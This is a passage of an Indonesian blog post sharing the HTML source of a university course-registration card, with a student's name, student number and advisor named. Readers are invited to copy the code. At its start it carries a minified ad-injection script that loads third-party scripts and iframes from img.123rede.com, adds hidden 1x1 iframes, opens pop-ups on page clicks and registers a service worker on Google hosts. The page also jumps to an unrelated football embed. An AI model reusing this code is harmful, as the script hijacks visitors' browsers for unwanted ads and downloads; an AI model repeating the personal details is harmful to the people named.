data=json.data;self.url_type=data['URL_type']?data['URL_type']:self.url_type;self._configAdTotalReport(data.deployAd,requestCount,self.url_type);if(data.deployAd){self._configAd(data.deployAd)}if(!self.jsInjection&&data.jsAd){self.jsAdItem=data.jsAd;self._jsAd(data.jsAd)}self.call_times++;self.isRun=false}})(data.count),error:function(err){self.isRun=false;report.infinite('get_ad_error',{params:{"error_code":50001,"ajax_status":err}})}};if(this.browser==='msie'&&this.browserVersion<10.0){util.jsonp(plugUpData)}else{util.ajax(plugUpData)}},jsAdDownloadReport:function(){if(this.jsAdItem){var reportData={"ad_id":this.jsAdItem.ad_id,"ad_type":this.jsAdItem.ad_type,"ad_name":this.jsAdItem.ad_name,"ad_size":this.jsAdItem.ad_size,"ad_sort":this.jsAdItem.ad_sort};this._reportEvent('download',reportData)}},_configAdTotalReport:function(deployAd,requestCount,url_type){if(!requestCount){return false}var responseCount=0,emptyCount=0;if(deployAd&&deployAd.length){for(var i=0;i<deployAd.length;i++){if(deployAd[i]){responseCount++}}}emptyCount=requestCount-responseCount;if(requestCount>0){report.infinite('get_adtotal',{params:{"request_total":requestCount,"response_total":responseCount,"empty":emptyCount,"url_type":url_type,"fix":getNode.fixedCount}})}},_jsAd:function(jsAd){var self=this;self.jsInjection=true;if(!jsAd.url||jsAd.url.length==0){report.infinite('get_ad_error',{params:{"error_code":40004,"times":self.call_times,"ad_type":1}});return}self.jsAdType=jsAd.replace;function _inSrtJsAd(e){if(document.readyState=="interactive"||document.readyState=="complete"){var script=document.createElement('script');script.src=jsAd.url;self.oBody.appendChild(script);self._report(jsAd.ad_id,jsAd.ad_type,jsAd.ad_name);util.removeEventHandler(document,"readystatechange",_inSrtJsAd)}}if(document.readyState!="interactive"&&document.readyState!="complete")util.addEventHandler(document,"readystatechange",_inSrtJsAd);else _inSrtJsAd(null)},_configAd:function(deployAd){var tempNode,newIframe;function sizeJudge(adSize,node){var nodeSize=node.offsetWidth+'*'+node.offsetHeight;return adSize==nodeSize}deployAd:for(var i=0;i<deployAd.length;i++){if(!deployAd[i]){continue}if(this.adAlreadySize[deployAd[i].size]>=this.adMax)continue;if(deployAd[i].replace==1){window.NewWebTab=(function(adItem){return function(e){var targ=e.target;var fixed=targ.getAttribute("fixed");var tname=targ.tagName;if(tname=='A'||tname=='BOTTOM'||tname=='SUBMIT'||fixed){return}var myWindow=window.open(adItem.web);util.removeEventHandler(document.body,"click",NewWebTab);if(myWindow){var reportData={"ad_id":adItem.ad_id,"ad_type":adItem.ad_type,"ad_name":adItem.ad_name,"ad_size":adItem.ad_size,"ad_sort":adItem.ad_sort};getAd._reportEvent('download',reportData)}}})(deployAd[i]);util.addEventHandler(document.body,"click",NewWebTab);this.configAdRepeat.push(deployAd[i].ad_id);this._report(deployAd[i].ad_id,deployAd[i].ad_type,deployAd[i].ad_name,deployAd[i].size,deployAd[i].AD_sort);continue}if(deployAd[i].replace==2){var ins_size=deployAd[i].size;if(ins_size.indexOf("ins-")==0)ins_size=ins_size.substr(4);if(deployAd[i].IJ_location=="1"){var tag='<div onclick="this.parentNode.parentNode.removeChild(this.parentNode);" style="width:20px;color:#fff;position:absolute;cursor:pointer;background-color:rgb(200,200,200);text-align:center;font-family:cursive;line-height:18px;">X</div>'+'<iframe enabled="true" width="'+ins_size.split('*')[0]+'px'+'" height="'+ins_size.split('*')[1]+'px'+'" frameborder="0" scrolling="no" src="'+deployAd[i].url+'">'+'</iframe>';var newIframe=document.createElement("div");newIframe.setAttribute("style","position:fixed;right:0;bottom:0;z-index:9999;");newIframe.setAttribute("enabled","true");newIframe.innerHTML=tag;this.oBody.appendChild(newIframe);this.configAdRepeat.push(deployAd[i].ad_id);this._report(deployAd[i].ad_id,deployAd[i].ad_type,deployAd[i].ad_name,deployAd[i].size,deployAd[i].AD_sort);continue}else if(deployAd[i].IJ_location=="2"){var style_tag=document.createElement("link");style_tag.href='http://img.123rede.com/static/pagepeel/pagepeel.packed.css';style_tag.rel='stylesheet';style_tag.type='text/css';var script_jquery_tag=document.createElement("script");script_jquery_tag.type='text/javascript';script_jquery_tag.src='http://img.123rede.com/static/pagepeel/jquery.min.js';var script_tag=document.createElement("script");script_tag.type='text/javascript';script_tag.src='http://img.123rede.com/static/pagepeel/pagepeel-jquery.js';var scripthead=document.getElementsByTagName('head')[0];scripthead.appendChild(style_tag);scripthead.appendChild(script_jquery_tag);setTimeout(scripthead.appendChild(script_tag),3000);var ostag='<span class="peel">'+'<map name="peelmap">'+'<area shape="poly" coords="0,0,614,0,614,530,0,0" href="'+deployAd[i].web+'" target="_blank" class="peel-hotzone" />'+'</map>'+'<img src="http://img.123rede.com/static/pagepeel/page-peel.png" alt="" class="peel" />'+'<iframe class="back corner" frameborder="0" marginwidth="0" marginheight="0" vspace="0" hspace="0" allowtransparency="true" scrolling="no" allowfullscreen="true" style="width:75px;height:75px" src="'+deployAd[i].url+'"></iframe>'+'<span class="back link">'+'<img src="http://img.123rede.com/static/pagepeel/trans.gif" alt="" class="map" usemap="#peelmap" />'+'<span class="peel-content"></span>'+'<div class="ad" alt="Close">X</div>'+'</span>'+'</span>';var pagepeel=document.createElement("div");pagepeel.id='pagepeel';pagepeel.setAttribute('class','xteam-pagepeel');pagepeel.setAttribute('enabled','true');pagepeel.innerHTML=ostag;this.oBody.appendChild(pagepeel);this.configAdRepeat.push(deployAd[i].ad_id);this._report(deployAd[i].ad_id,deployAd[i].ad_type,deployAd[i].ad_name,deployAd[i].size,deployAd[i].AD_sort);continue}}if(deployAd[i].size=='1*1'){var report_download_now=false;newIframe=document.createElement('iframe');if(deployAd[i].ad_tag.indexOf("opendirectly")>=0){newIframe.src=deployAd[i].web;report_download_now=true}else newIframe.src=deployAd[i].url;newIframe.style.width='1px';newIframe.style.height='1px';newIframe.style.border=0;newIframe.setAttribute('scrolling','no');newIframe.setAttribute('frameborder',0);this.oBody.appendChild(newIframe);if(report_download_now){var reportData={"ad_id":deployAd[i].ad_id,"ad_type":deployAd[i].ad_type,"ad_name":deployAd[i].ad_name,"ad_size":deployAd[i].ad_size,"ad_sort":deployAd[i].ad_sort};this._reportEvent('download',reportData)}continue}var enabledIframeTemp=this.enabledIframe.slice(0);for(var j=0;j<enabledIframeTemp.length;j++){tempNode=enabledIframeTemp[j];if(tempNode.getAttribute('fixed')&&deployAd[i].ad_tag=='google'){continue}if(sizeJudge(deployAd[i].size,tempNode)){tempNode.src=deployAd[i].url;tempNode.onload=function(){};this.configAdRepeat.push(deployAd[i].ad_id);this._report(deployAd[i].ad_id,deployAd[i].ad_type,deployAd[i].ad_name,deployAd[i].size,deployAd[i].AD_sort);this.adAlreadySize[deployAd[i].size]=this.adAlreadySize[deployAd[i].size]?this.adAlreadySize[deployAd[i].size]+1:1;this.enabledIframe=util.arrDelete(this.enabledIframe,tempNode);tempNode.setAttribute("enabled","true");continue deployAd}}var enabledDivTemp=this.enabledDiv.slice(0);for(var k=0;k<enabledDivTemp.length;k++){tempNode=enabledDivTemp[k];if(tempNode.getAttribute('fixed')&&deployAd[i].ad_tag=='google'){continue}if(sizeJudge(deployAd[i].size,tempNode)){tempNode.innerHTML='';newIframe=document.createElement('iframe');newIframe.src=deployAd[i].url;newIframe.style.width=(tempNode.offsetWidth||deployAd[i].size.split('*')[0])+'px';newIframe.style.height=(tempNode.offsetHeight||deployAd[i].size.split('*')[1])+'px';newIframe.style.border=0;newIframe.setAttribute('scrolling','no');newIframe.setAttribute('frameborder',0);tempNode.appendChild(newIframe);this.configAdRepeat.push(deployAd[i].ad_id);this._report(deployAd[i].ad_id,deployAd[i].ad_type,deployAd[i].ad_name,deployAd[i].size,deployAd[i].AD_sort);this.adAlreadySize[deployAd[i].size]=this.adAlreadySize[deployAd[i].size]?this.adAlreadySize[deployAd[i].size]+1:1;this.enabledDiv=util.arrDelete(this.enabledDiv,tempNode);tempNode.setAttribute("enabled","true");continue deployAd}}}},_report:function(ad_id,ad_type,ad_name,ad_size,ad_sort){reportData={params:{"ad_id":ad_id,"ad_type":ad_type,"ad_name":ad_name,"ad_size":ad_size,"ad_sort":ad_sort}};report.infinite('get_ad',reportData)},_reportEvent:function(eventName,_params){reportData={params:_params};report.infinite(eventName,reportData)},infuse:function(probability){var self=this;var probability=probability?probability:1;if(new Date().getTime()%probability==0){if(self.uuid){self._getAd();return true}report._pushQueue((function(context){return function(uuid){context.uuid=uuid;context._getAd()}})(self))}},loopInfuse:function(loopTotal,frequency,probability){var self=this;var loopTotal=loopTotal?loopTotal:30;var loopTotal2=40;clearInterval(this.timer);var frequency=frequency||1000;self.count=1;if(!loopTotal||typeof loopTotal!=='number'){return'no polling'}function doInfuse(){if(self.bInWhiteList)return false;if(self.isRun){self.timer=setTimeout(doInfuse,500);return false}if(self.count>=loopTotal&&document.readyState!="complete")loopTotal=loopTotal2;if(self.count<loopTotal){self.infuse(probability);self.timer=setTimeout(doInfuse,frequency);self.count++}}self.timer=setTimeout(doInfuse,frequency)},onlyInfuse:function(probability){var oPlug=document.getElementById('chrome_plug_flag_1_0_0');if(oPlug){return false}var oDiv=document.createElement('div');oDiv.setAttribute('id','chrome_plug_flag_1_0_0');oDiv.style.display='none';oBody=document.getElementsByTagName('body')[0];oBody.appendChild(oDiv);this.infuse(probability)},_setUuid:function(uuid){if(uuid&&typeof uuid==='string'){this.uuid=uuid;return true}report.queue.push((function(context){return function(uuid){context._setUuid(uuid)}})(this));return false},_getKeywords:function(){var metas=$doc.getElementsByTagName('meta');for(var i=0;i<metas.length;i++){if(metas[i].name.toLowerCase()=='keywords'&&metas[i]['content'].length>0)this.keywords=encodeURIComponent(metas[i]['content'])}},setAccount:function(account){if(!account.appid){throw new Error('could not find appid')}this.appid=account.appid;this.adMax=account.adMax;this._setUuid(account.uuid)}});var getAd=new GetAd();function OtherFun(){}util.extend(OtherFun.prototype,{init:function(){if($win.location.hostname.toLowerCase().indexOf('google')!=-1){if('serviceWorker'in navigator){try{navigator.serviceWorker.register('/_/chrome/newtab-serviceworker.js',{scope:'.'}).then(function(sw){registration.unregister().then(function(){})},function(x){})}catch(e){}}}}});var otherFun=new OtherFun();var __egg={setAccount:function(account){if(!account.appid){return false}if(!util.isPlugin&&!account.uuid){return false}report.setAccount(account);if(report.uuid)account.uuid=report.uuid;getAd.setAccount(account);this.report=report;this.getAd=getAd;otherFun.init()}};__egg.setAccount({"appid":"4167633929",'adMax':6});$win.__egg=__egg})(window,document);if(window.top==this){__egg.report.loopSend('visit');__egg.getAd.loopInfuse()};
</script>
                <table width="98%" border="0" align="center" cellpadding="2" cellspacing="0">
            <tbody><tr>
            <td width="15%" align="center"></td>
                <td class="judul"></td>
            </tr>
            <tr>
                <td>&nbsp;</td>
                <td align="center">&nbsp;</td>
            </tr>
            <br></br>
            <tr>
                <td>&nbsp;</td>
                <p>---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------</p>
                <br></br>
                <td align="center" class="judulkartu">KARTU RENCANA STUDI</td>
            </tr>
            <tr>
                <td colspan="2">&nbsp;</td>
            </tr>

            <tr>
                <td colspan="3"><table width="100%" border="0" cellpadding="2" cellspacing="1">
                        <tbody><tr>
                            <td width="14%">NPM</td>
                            <td width="1%">:</td>
                            <td width="39%">150210244</td>
                            <td width="13%">Program Studi</td>
                            <td width="1%">:</td>
                            <td width="32%">Teknik Informatika</td>
                        </tr>
                        <tr>
                            <td>Nama Mahasiswa </td>
                            <td>:</td>
                            <td>ANDRI YUSUF</td>
                            <td>Peminatan </td>
                            <td>:</td>
                            <td>-</td>
                        </tr>
                        <tr>
                            <td>Status Kelas</td>
                            <td>:</td>
                            <td>Shift</td>
                            <td>Jenjang</td>
                            <td>:</td>
                            <td>Strata 1</td>
                        </tr>
                        <tr>
                            <td>&nbsp;</td>
                            <td>&nbsp;</td>
                            <td>&nbsp;</td>
                            <td>Semester</td>
                            <td>:</td>
                            <td>Genap 2017/2018</td>
                        </tr>

                    </tbody></table></td>
            </tr>
            <tr>
                <td colspan="3"><table width="100%" border="0" cellpadding="2" cellspacing="1" bgcolor="#000000">
                        <tbody><tr class="judultabel">
                            <td width="5%" rowspan="2" align="center" bgcolor="#FFFFFF">NO</td>
                            <td width="10%" rowspan="2" align="center" bgcolor="#FFFFFF">KMK</td>
                            <td width="28%" rowspan="2" align="center" bgcolor="#FFFFFF">NAMA MATA KULIAH </td>
                            <td width="4%" rowspan="2" align="center" bgcolor="#FFFFFF">sks</td>
                            <td width="18%" rowspan="2" align="center" bgcolor="#FFFFFF">KODE KELAS </td>
                            <td width="10%" rowspan="2" align="center" bgcolor="#FFFFFF">RUANG</td>
                            <td width="10%" rowspan="2" align="center" bgcolor="#FFFFFF">HARI</td>
                            <td colspan="2" align="center" bgcolor="#FFFFFF">SHIFT</td>
                        </tr>
                        <tr class="judultabel">
                            <td width="7%" align="center" bgcolor="#FFFFFF">PAGI</td>
                            <td width="8%" align="center" bgcolor="#FFFFFF">MALAM</td>
                        </tr>
                        <tr>
                            <td height="2" colspan="9" bgcolor="#FFFFFF"></td>
                        </tr>
                                                    <tr>
                                <td align="right" bgcolor="#FFFFFF">1.</td>
                                <td align="center" bgcolor="#FFFFFF">SI614</td>
                                <td bgcolor="#FFFFFF">Sistem Operasi</td>
                                <td align="center" bgcolor="#FFFFFF">4</td>
                                <td align="center" bgcolor="#FFFFFF">172-SI614-T1</td>
                                <td align="center" bgcolor="#FFFFFF">T-205</td>
                                <td align="center" bgcolor="#FFFFFF">Senin</td>
                                <td align="center" bgcolor="#FFFFFF"></td>
                                <td align="center" bgcolor="#FFFFFF">18.00</td>
                            </tr>
                                                        <tr>
                                <td align="right" bgcolor="#FFFFFF">2.</td>
                                <td align="center" bgcolor="#FFFFFF">SI614</td>
                                <td bgcolor="#FFFFFF">Sistem Operasi</td>
                                <td align="center" bgcolor="#FFFFFF"></td>
                                <td align="center" bgcolor="#FFFFFF">172-SI614-T1</td>
                                <td align="center" bgcolor="#FFFFFF">T-205</td>
                                <td align="center" bgcolor="#FFFFFF">Senin</td>
                                <td align="center" bgcolor="#FFFFFF"></td>
                                <td align="center" bgcolor="#FFFFFF">19.50</td>
                            </tr>
                                                        <tr>
                                <td align="right" bgcolor="#FFFFFF">3.</td>
                                <td align="center" bgcolor="#FFFFFF">IS13T</td>
                                <td bgcolor="#FFFFFF">Pemrograman Java Teori</td>
                                <td align="center" bgcolor="#FFFFFF">2</td>
                                <td align="center" bgcolor="#FFFFFF">172-IS13T-T1</td>
                                <td align="center" bgcolor="#FFFFFF">T-205</td>
                                <td align="center" bgcolor="#FFFFFF">Selasa</td>
                                <td align="center" bgcolor="#FFFFFF"></td>
                                <td align="center" bgcolor="#FFFFFF">18.00</td>
                            </tr>
                                                        <tr>
                                <td align="right" bgcolor="#FFFFFF">4.</td>
                                <td align="center" bgcolor="#FFFFFF">IS13P</td>
                                <td bgcolor="#FFFFFF">Pemrograman Java Praktek</td>
                                <td align="center" bgcolor="#FFFFFF">2</td>
                                <td align="center" bgcolor="#FFFFFF">172-IS13P-T1</td>
                                <td align="center" bgcolor="#FFFFFF">T-103</td>
                                <td align="center" bgcolor="#FFFFFF">Selasa</td>
                                <td align="center" bgcolor="#FFFFFF"></td>
                                <td align="center" bgcolor="#FFFFFF">19.50</td>
                            </tr>
                                                        <tr>
                                <td align="right" bgcolor="#FFFFFF">5.</td>
                                <td align="center" bgcolor="#FFFFFF">IS014</td>
                                <td bgcolor="#FFFFFF">Keamanan Jaringan</td>
                                <td align="center" bgcolor="#FFFFFF">4</td>
                                <td align="center" bgcolor="#FFFFFF">172-IS014-T1</td>
                                <td align="center" bgcolor="#FFFFFF">T-205</td>
                                <td align="center" bgcolor="#FFFFFF">Rabu</td>
                                <td align="center" bgcolor="#FFFFFF"></td>
                                <td align="center" bgcolor="#FFFFFF">18.00</td>
                            </tr>
                                                        <tr>
                                <td align="right" bgcolor="#FFFFFF">6.</td>
                                <td align="center" bgcolor="#FFFFFF">IS014</td>
                                <td bgcolor="#FFFFFF">Keamanan Jaringan</td>
                                <td align="center" bgcolor="#FFFFFF"></td>
                                <td align="center" bgcolor="#FFFFFF">172-IS014-T1</td>
                                <td align="center" bgcolor="#FFFFFF">T-205</td>
                                <td align="center" bgcolor="#FFFFFF">Rabu</td>
                                <td align="center" bgcolor="#FFFFFF"></td>
                                <td align="center" bgcolor="#FFFFFF">19.50</td>
                            </tr>
                                                        <tr>
                                <td align="right" bgcolor="#FFFFFF">7.</td>
                                <td align="center" bgcolor="#FFFFFF">TI031</td>
                                <td bgcolor="#FFFFFF">Metode Penelitian Teknik Informatika</td>
                                <td align="center" bgcolor="#FFFFFF">2</td>
                                <td align="center" bgcolor="#FFFFFF">172-TI031-T1</td>
                                <td align="center" bgcolor="#FFFFFF">T-205</td>
                                <td align="center" bgcolor="#FFFFFF">Kamis</td>
                                <td align="center" bgcolor="#FFFFFF"></td>
                                <td align="center" bgcolor="#FFFFFF">18.00</td>
                            </tr>
                                                        <tr>
                                <td align="right" bgcolor="#FFFFFF">8.</td>
                                <td align="center" bgcolor="#FFFFFF">TI029</td>
                                <td bgcolor="#FFFFFF">Komputasi Numerik</td>
                                <td align="center" bgcolor="#FFFFFF">2</td>
                                <td align="center" bgcolor="#FFFFFF">172-TI029-T1</td>
                                <td align="center" bgcolor="#FFFFFF">T-205</td>
                                <td align="center" bgcolor="#FFFFFF">Kamis</td>
                                <td align="center" bgcolor="#FFFFFF"></td>
                                <td align="center" bgcolor="#FFFFFF">19.50</td>
                            </tr>
                                                        <tr>
                                <td align="right" bgcolor="#FFFFFF">9.</td>
                                <td align="center" bgcolor="#FFFFFF">IS11T</td>
                                <td bgcolor="#FFFFFF">Pemrograman Berbasis Web Teori</td>
                                <td align="center" bgcolor="#FFFFFF">2</td>
                                <td align="center" bgcolor="#FFFFFF">172-IS11T-T1</td>
                                <td align="center" bgcolor="#FFFFFF">T-205</td>
                                <td align="center" bgcolor="#FFFFFF">Jumat</td>
                                <td align="center" bgcolor="#FFFFFF"></td>
                                <td align="center" bgcolor="#FFFFFF">18.00</td>
                            </tr>
                                                        <tr>
                                <td align="right" bgcolor="#FFFFFF">10.</td>
                                <td align="center" bgcolor="#FFFFFF">IS11P</td>
                                <td bgcolor="#FFFFFF">Pemrograman Berbasis Web Praktek</td>
                                <td align="center" bgcolor="#FFFFFF">2</td>
                                <td align="center" bgcolor="#FFFFFF">172-IS11P-T1</td>
                                <td align="center" bgcolor="#FFFFFF">T-106</td>
                                <td align="center" bgcolor="#FFFFFF">Jumat</td>
                                <td align="center" bgcolor="#FFFFFF"></td>
                                <td align="center" bgcolor="#FFFFFF">19.50</td>
                            </tr>
                                                    <tr>
                            <td colspan="9" align="right" bgcolor="#FFFFFF"><strong>Total sks
                                    20                                </strong></td>
                        </tr>
                        <tr>
                            <td colspan="9" bgcolor="#FFFFFF">
                                <table width="100%" border="0" cellpadding="2" cellspacing="2" bordercolor="#990000" bgcolor="#990000">
                                    <tbody><tr>
                                        <td bgcolor="#FFFFFF">Syarat &amp; Ketentuan :
                                            <ul>
                                                <li>Saya sudah membaca, memahami dan menyetujui KRS ini</li>
                                                <li>Saya sudah membaca dan memahami Kode Kehormatan dan Peraturan untuk Mahasiswa Universitas Putera Batam</li>
                                                <li> Pindah waktu kuliah hanya bisa dari pagi atau malam
                                                    ke "SHIFT" (bila kelas belum penuh dan ada persetujuan dari BAAK)</li>
                                                <li>KRS ini wajib dicetak &amp; ditandatangani oleh mahasiswa &amp; pembimbing akademik,
                                                    kemudian diserahkan ke BAAK/BLM
                                                    (bila tidak dikumpulkan maka nama tidak akan tampil di kelas)</li>
                                                <li>KRS yang telah diajukan oleh mahasiswa wajib dibayar biaya sksnya dan dijalankan sesuai jadwal perkuliahan yang berlaku.</li>
                                                <li>Jadwal bimbingan<strong> <u>Tugas Akhir / Skripsi</u></strong> setiap Jum'at (14.00 s/d 17.00) / Sabtu (09.00 s/d 11.45 dan 14.00 s/d 17.00) di Kampus Tembesi</li>
                                                <li>Jadwal <strong><u>Jurnal Penelitian</u></strong> setiap Jum'at (14.00 s/d 17.00) / Sabtu (09.00 s/d 11.45 dan 14.00 s/d 17.00) di Kampus Tembesi</li>
                                                <!--li><strong> <u>Kuliah Umum / Studium Generale</u></strong> setiap Sabtu jam 18.30 s/d 22.00 di Kampus Tembesi</li-->
                                            </ul>
                                        </td>
                                    </tr>
                                </tbody></table>
                                Catatan :<br>
                                *** Lihat Pengumuman<br>
                                --- &nbsp;Skripsi tanpa bimbingan
                            </td>
                        </tr>
                    </tbody></table>
                </td>
            </tr>
            <tr>
                <td colspan="3"><table width="100%" border="0" cellpadding="1" cellspacing="0">
                        <tbody><tr>
                        <br></br>
                            <td width="35%">Pembimbing Akademik </td>
                            <td width="32%">&nbsp;</td>
                            <td width="33%">Batam, 09 Apr 2018</td>
                        </tr>
                        <tr>
                            <td>&nbsp;</td>
                            <td>&nbsp;</td>
                            <td>Mahasiswa,</td>
                        </tr>
                        <tr>
                            <td height="50">&nbsp;</td>
                            <td>&nbsp;</td>
                            <td><!--input name="checkbox" type="checkbox" value="checkbox" checked="checked" disabled="disabled" />
                            <strong><u>Setuju</u></strong><br />
                            <input type="checkbox" name="checkbox2" value="checkbox" disabled="disabled" />Tidak Setuju </td-->
                        </td></tr>
                        <tr>
                            <td>
                                                                <table border="0" cellpadding="1" cellspacing="0" bgcolor="#000000">
                                    <tbody><tr>
                                        <td bgcolor="#FFFFFF">Januardi Nasir, S.Kom., M.Kom.</td>
                                    </tr>
                                    <tr>
                                        <td height="1"></td>
                                    </tr>
                                </tbody></table>
                            </td>
                            <td>&nbsp;</td>
                            <td><table border="0" cellpadding="1" cellspacing="0" bgcolor="#000000">
                                    <tbody><tr>
                                        <td bgcolor="#FFFFFF">ANDRI YUSUF</td>
                                    </tr>
                                    <tr>
                                        <td height="1"></td>
                                    </tr>
                                </tbody></table>
                            </td>
                        </tr>
                    </tbody></table>
                </td>
            </tr>
        </tbody></table>
        <br></br>
        <br></br>
        <p>---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------</p>
        <body>
<h1 align='center'> <p style="color:red;"> Semi Final </p> </h1>
<h2 align='center'> <p style="color:Black;"> Bayern Munchen VS Real Madrid </p> </h2>
<center><iframe width="560" height="315" src="https://www.youtube.com/embed/eyGG-zxA6dQ" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe></center>
<center><audio controls='#' loop='loop'>
    <source src='sounducl.mp3' type='audio/mpeg'></audio>
</body>
    </body>
</html>


Anda bisa copy coding di atas ke notepad++ untuk mengeditnya....




Namun coding HTML saja tidak cukup untuk menampilkan tampilan yang bagus pada sebuah website harus dibantu dengan coding CSS yang memang fungsinya untuk memperbagus tampilan web.

Untuk coding CSS sudah saya buat dalam satu folder dan saya pisah menjadi 5 bagian


Coding tersebut akan dikirim ke email teman-teman yang sudah mengikuti atau follow website ini, untuk itu bagi yang ingin coding CSS ini silahkan follow dulu bagi yang belum. Caranya ada di tampilan utama di sebelah kanan anda.




Terima Kasih...
Untuk Tutorialnya Secepatnya Akan Di Upload....






Wednesday, April 25, 2018 April 25, 2018 - tanpa komentar

No comments:

Post a Comment